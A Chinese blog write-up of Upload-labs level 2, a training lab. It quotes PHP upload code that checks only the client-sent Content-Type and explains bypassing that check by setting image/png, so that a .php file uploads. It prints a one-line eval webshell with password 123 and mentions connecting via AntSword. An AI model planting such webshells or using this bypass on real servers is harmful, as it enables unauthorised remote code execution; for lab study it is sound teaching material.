Upload-labs第二关

通过查看代码发现,只校验了Content-Type,所以此次上传可以归类为MIME类型绕过。

我们可以尝试通过修改request中的Content-Type来绕过。

在这里插入图片描述
下面我们先记住一些常用的Content-Type类型,访问菜鸟教程的这个链接可以查看。
https://www.runoob.com/http/http-content-type.html
查看源代码:

    if (file_exists($UPLOAD_ADDR)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;

            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }

通过查看源代码发现,只接受三种文件的上传:
image/png image/jpeg image/gif

我们修改请求中的content-type为image/png,可以发现上传成功。

在这里插入图片描述

我们写入构造的一句话木马,密码为123,修改文件后缀为.php

<?php eval($_REQUEST[123])?>

上传,通过蚁剑可以连接。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值